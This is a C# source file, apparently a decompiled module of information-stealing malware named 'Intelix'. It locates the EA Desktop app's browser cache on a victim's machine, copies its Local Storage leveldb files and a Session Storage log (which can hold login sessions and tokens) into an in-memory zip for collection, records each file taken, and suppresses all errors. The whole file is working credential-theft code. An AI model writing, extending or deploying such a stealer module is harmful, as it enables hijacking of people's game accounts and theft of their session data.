using System; using System.IO; using Intelix.Helper.Data; namespace Intelix.Targets.Games; public class ElectronicArts : ITarget { public void Collect(InMemoryZip zip, Counter counter) { string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Electronic Arts", "EA Desktop", "CEF"); if (!Directory.Exists(text)) { return; } Counter.CounterApplications counterApplications = new Counter.CounterApplications(); counterApplications.Name = "Electronic Arts"; int num = 0; string path = Path.Combine(text, "BrowserCache", "EADesktop", "Local Storage", "leveldb"); if (Directory.Exists(path)) { string[] files = Directory.GetFiles(path); foreach (string text2 in files) { try { if (string.Equals(Path.GetExtension(text2), ".ldb", StringComparison.OrdinalIgnoreCase)) { string text3 = "Electronic Arts\\leveldb\\" + Path.GetFileName(text2); zip.AddFile(text3, File.ReadAllBytes(text2)); counterApplications.Files.Add(text2 + " => " + text3); num++; } } catch { } } } string text4 = Path.Combine(text, "BrowserCache", "EADesktop", "Session Storage", "000003.log"); if (File.Exists(text4)) { try { string text5 = "Electronic Arts\\Session Storage\\000003.log"; zip.AddFile(text5, File.ReadAllBytes(text4)); counterApplications.Files.Add(text4 + " => " + text5); num++; } catch { } } if (num != 0) { counterApplications.Files.Add("Electronic Arts\\"); counter.Games.Add(counterApplications); } } }